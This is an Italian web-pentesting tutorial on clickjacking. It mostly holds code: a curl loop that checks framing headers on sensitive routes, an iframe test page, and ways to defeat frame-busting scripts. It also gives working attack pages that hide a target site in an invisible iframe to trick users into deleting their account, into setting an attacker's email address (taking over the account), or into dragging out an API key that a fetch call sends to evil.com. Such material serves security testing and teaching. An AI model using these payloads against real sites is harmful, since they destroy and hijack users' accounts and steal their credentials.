Clickjacking: Cos’è e Come Trovarlo nel Pentesting Web

# Controlla OGNI pagina sensibile (non solo la homepage):
for path in "/" "/account/settings" "/account/delete" "/transfers" "/admin"; do
  echo "=== $path ==="
  curl -sI "https://target.com$path" \
    -H "Cookie: session=VALID" \
    | grep -iE "x-frame-options|content-security-policy" || echo "NESSUNA PROTEZIONE!"
done

# PROTETTO se:
# X-Frame-Options: DENY                          → non frameable
# X-Frame-Options: SAMEORIGIN                    → solo stesso dominio
# Content-Security-Policy: frame-ancestors 'none' → non frameable
# Content-Security-Policy: frame-ancestors 'self'  → solo stesso dominio

# VULNERABILE se:
# → Nessun header (la protezione manca del tutto)
# → X-Frame-Options: ALLOW-FROM (DEPRECATO — Chrome/Firefox lo ignorano!)
# → frame-ancestors con dominio troppo permissivo

<!-- Salva come test.html, apri nel browser -->
<iframe src="https://target.com/account/settings" width="800" height="600"></iframe>

<!-- Se la pagina si carica → clickjacking possibile
     Se il browser blocca ("Refused to display") → protetto -->

# La protezione potrebbe essere presente sulla homepage ma ASSENTE su:
# /account/settings (cambio email/password)
# /account/delete (eliminazione account)
# /transfers/new (trasferimenti)
# /admin/users (pannello admin)
# /oauth/authorize (autorizzazione app OAuth)
# /2fa/disable (disabilitazione 2FA)

# Testa ognuna separatamente — spesso gli header sono configurati per route

# Alcuni siti usano JavaScript invece di header:
# if (top !== self) { top.location = self.location; }

# Bypass con sandbox:
<iframe sandbox="allow-forms allow-scripts" src="https://target.com/settings"></iframe>
# L'attributo sandbox blocca il frame busting JavaScript!
# Il form funziona ancora (allow-forms) → clickjacking possibile

# Bypass con doppio frame:
<iframe src="data:text/html,<iframe src='https://target.com/settings'></iframe>"></iframe>
# Il frame busting controlla top !== self, ma il "top" è il data: frame, non evil.com

<style>
  .target-frame {
    position: absolute; top: 0; left: 0;
    width: 800px; height: 600px;
    opacity: 0.0001;   /* Invisibile */
    z-index: 2;        /* Sopra tutto */
  }
  .bait {
    position: absolute;
    top: 285px; left: 220px;  /* Esattamente sopra il bottone target */
    z-index: 1;
    font-size: 24px; cursor: pointer;
  }
</style>

<iframe class="target-frame" src="https://target.com/account/settings#delete-section"></iframe>
<div class="bait">🎁 Clicca qui per il tuo premio!</div>

<!-- L'utente clicca "premio" → clicca "Elimina account" sotto -->

<style>
  .frame { position:absolute; opacity:0.0001; z-index:2; width:800px; height:600px; }
  #step1 { position:absolute; top:285px; left:220px; z-index:1; font-size:20px; cursor:pointer; }
  #step2 { position:absolute; top:350px; left:300px; z-index:1; font-size:20px; display:none; cursor:pointer; }
</style>

<iframe class="frame" src="https://target.com/account/delete"></iframe>
<div id="step1" onclick="this.style.display='none'; document.getElementById('step2').style.display='block'">
  Step 1: Verifica la tua identità
</div>
<div id="step2">Step 2: Conferma la verifica</div>

<!-- Click 1 → "Elimina account" | Click 2 → "Sì, sono sicuro" -->

<!-- Se la pagina accetta parametri GET per pre-compilare i form: -->
<iframe class="frame"
  src="https://target.com/account/settings?email=attacker@evil.com#change-email">
</iframe>
<div class="bait">Verifica il tuo account</div>

<!-- L'email è pre-compilata con quella dell'attaccante.
     Il click dell'utente preme "Salva" → email cambiata! →
     L'attaccante fa password reset → account takeover -->

<style>
  .frame { position:absolute; opacity:0.0001; z-index:2; }
  .dropzone { width:200px; height:200px; border:2px dashed #ccc; padding:50px; }
</style>

<iframe class="frame" src="https://target.com/api-keys"></iframe>
<div class="dropzone" id="drop">Trascina qui la tua foto</div>

<script>
document.getElementById('drop').addEventListener('drop', function(e) {
  e.preventDefault();
  var data = e.dataTransfer.getData('text');
  // L'utente ha trascinato la sua API key dall'iframe nascosto!
  fetch('https://evil.com/log', {method:'POST', body:data});
});
document.getElementById('drop').addEventListener('dragover', function(e) { e.preventDefault(); });
</script>

$ curl -sI "https://target.com/account/settings" -H "Cookie: session=valid" \
  | grep -iE "x-frame|frame-ancestors"
# (nessun output → NESSUNA PROTEZIONE)

$ curl -sI "https://target.com/" | grep -i x-frame
X-Frame-Options: SAMEORIGIN
# → La homepage è protetta, ma /account/settings NO!
# Header configurato solo sulla homepage, non sulle route sensibili